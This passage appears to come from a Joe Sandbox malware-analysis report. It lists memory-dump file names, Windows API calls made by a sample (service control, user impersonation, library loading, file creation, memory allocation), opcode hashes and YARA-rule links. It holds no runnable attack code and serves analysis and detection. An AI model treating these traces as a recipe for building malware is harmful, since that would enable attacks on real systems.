Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fa8b1a5698dbf38f6e80f65e83ba5e5e5cb619b37294355a810d799426bc02ea
Instruction ID: 8417090b1c163fcdf9cc4b0e2ac38160aac741ab85f3f508ddd93c3ce6044960
Opcode Fuzzy Hash: fa8b1a5698dbf38f6e80f65e83ba5e5e5cb619b37294355a810d799426bc02ea
Instruction Fuzzy Hash: 4F3137B250D704AFD715BF19EC8167AFBE8FF18311F06492EE6C482610E73164909B97

Function 04DF0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04DF0DCD

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a8f1c4a14e2b2a1af69d695a11ae3d48315103776200e7f7f74be84d9b47c514
Instruction ID: fb2212e8e4f68b90a15238aecdd7da464fa1c234cc05808426831899c56854de
Opcode Fuzzy Hash: a8f1c4a14e2b2a1af69d695a11ae3d48315103776200e7f7f74be84d9b47c514
Instruction Fuzzy Hash: 542165B6C012199FDB10CF99D885BDEFBB0FF88320F11821AD908BB205C774A941CBA0

Function 04DF0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04DF0DCD

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7642482e81fc643795649f147acfe38d89e7140fe4a3be50be341022dbb533cb
Instruction ID: b7a8cdfb098c77f9a3d80183add9f568f5dc1986eaded33dd881f4d788623b43
Opcode Fuzzy Hash: 7642482e81fc643795649f147acfe38d89e7140fe4a3be50be341022dbb533cb
Instruction Fuzzy Hash: 6E2113B6C012199FDB50CF99D984BDEFBF4FF88720F15821AE908AB205D774A540CBA4

Function 04DF1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04DF1580

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8e70aeebddab8f94cb007550fd0fac624b6002d10cf46054ca2527edc25c9b67
Instruction ID: 6d4d700adb703624060ba16c3560184f139c5bb4d76de129f5527c9000fcd271
Opcode Fuzzy Hash: 8e70aeebddab8f94cb007550fd0fac624b6002d10cf46054ca2527edc25c9b67
Instruction Fuzzy Hash: DC2103B1900249DFDB10CF9AC585BDEFBF4FB48320F10802AE958A7240D778AA44CFA5

Function 04DF1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04DF1580

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: fdb29407e80a8dc5123fc373e1f2b1966d7983f38d8f74d6bd3cf30c7f13e7cd
Instruction ID: 3eced241f487d3429e161a265d074482e3c634a3d90b9b711b0e6b8234f8ab2b
Opcode Fuzzy Hash: fdb29407e80a8dc5123fc373e1f2b1966d7983f38d8f74d6bd3cf30c7f13e7cd
Instruction Fuzzy Hash: E911D3B5900249DFDB10CF9AC985BDEFBF4BB48324F108029E959A3250D778AA44CFA5

Function 04DF1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04DF1367

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ffe43952cb1ca64f7926617cfddddc85e75a39c16d9c7ceed7cf6d79a074ca4d
Instruction ID: 6889712d3c1460f8de01501d9d2f85eae38582d01587a19f251859f92ba5f716
Opcode Fuzzy Hash: ffe43952cb1ca64f7926617cfddddc85e75a39c16d9c7ceed7cf6d79a074ca4d
Instruction Fuzzy Hash: 411128B1800249CFDB10CF9AD585BDEFBF4EF48724F248459D558A3240D778A945CFA1

Function 04DF1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04DF1367

Memory Dump Source

Source File: 00000003.00000002.2589033205.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4df0000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 98b7fbafca2d0856be2a86b5597754e16c3663e88f6fc19b70c3d1f0eaca780b
Instruction ID: 87eaf9e8e785dec4e3c114a1e075f29a77b1b34eb0347654c8dd0ac2b40fd95a
Opcode Fuzzy Hash: 98b7fbafca2d0856be2a86b5597754e16c3663e88f6fc19b70c3d1f0eaca780b
Instruction Fuzzy Hash: 5B1122B1800249CFDB20CF9AC945BDEBBF8AB48320F20842AD558A3240D778A944CBA5

Function 00BF6A38 Relevance: 1.5, APIs: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BFB7F0

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d6b7e6d042ac1bb7f3e0112155c6a0e38dcd5dda793369b52ded4d1951eb91c4
Instruction ID: ed9d1cb9634aed1ac59b09ad827f86dcd9e69d78995bd339c8eef5c45a0c1b7b
Opcode Fuzzy Hash: d6b7e6d042ac1bb7f3e0112155c6a0e38dcd5dda793369b52ded4d1951eb91c4
Instruction Fuzzy Hash: 67F06DB2808208EBD7015A10D884A7FB7E4EF58364F26881DEB8853A10E2365C509B93

Function 00BED1EA Relevance: 1.5, APIs: 1, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00BED21F

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 42162d8147afbaaa430f4574f9ef9b308467b728c6fa7333fdea96b90b33f83b
Instruction ID: fac18e5a1a164802fc6dda268a3d78d375fe449bd891183a53d2a3ddc6016c22
Opcode Fuzzy Hash: 42162d8147afbaaa430f4574f9ef9b308467b728c6fa7333fdea96b90b33f83b
Instruction Fuzzy Hash: 6EE02B920C009738DA016ED6DD40BEE7F9FAF23771B308164B656DB886E7D0DD040164

Function 00BED205 Relevance: 1.5, APIs: 1, Instructions: 21
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00BED21F

Memory Dump Source

Source File: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586033571.0000000000C4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586058130.0000000000C4E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586086049.0000000000C5F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586111908.0000000000C60000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586135974.0000000000C61000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586161505.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586188504.0000000000C71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586214117.0000000000C74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586242424.0000000000C7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586271640.0000000000C81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586302474.0000000000C91000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586326092.0000000000C93000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586353324.0000000000C9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586379535.0000000000C9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586409029.0000000000CAD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586441839.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586487233.0000000000CF2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586512387.0000000000CF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000CFB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586540113.0000000000D03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586592651.0000000000D12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586619977.0000000000D14000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a60000_DZKPIL2C5DR0YB6M.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b0c61860e84bbff3e7e52551326a86e27d742aad30f65cb59ed055a264e37d55
Instruction ID: cf176d2e82ab5d38fa33cb49fd8d6b9699f9ef66bc36c6021ecc3e6993b1bd2a
Opcode Fuzzy Hash: b0c61860e84bbff3e7e52551326a86e27d742aad30f65cb59ed055a264e37d55
Instruction Fuzzy Hash: 07D0A7211D40EF18CF61BEE5DC117DD7B53AF62204F2482A4E6E59B9C7C790EC054395

Function 00A6F377 Relevance: 1.3, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A6F56D

Memory Dump Source

Source File: 00000003.00000002.2585115525.0000000000A6A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000003.00000002.2585036375.0000000000A60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585089183.0000000000A66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585141849.0000000000A74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585166320.0000000000A75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585191380.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585304190.0000000000BCE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585334895.0000000000BD0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585370579.0000000000BE7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585400058.0000000000BE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585476637.0000000000BFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585503155.0000000000BFE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585528420.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585555315.0000000000C0B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585580615.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585605365.0000000000C0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585636362.0000000000C20000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585661004.0000000000C21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585686772.0000000000C24000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585712578.0000000000C25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585738544.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585762449.0000000000C27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585786930.0000000000C2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585942015.0000000000C38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2585983016.0000000000C42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2586007254.0000000000C44000.00000040.00000001.01000000.00000006.sdmpDownload File
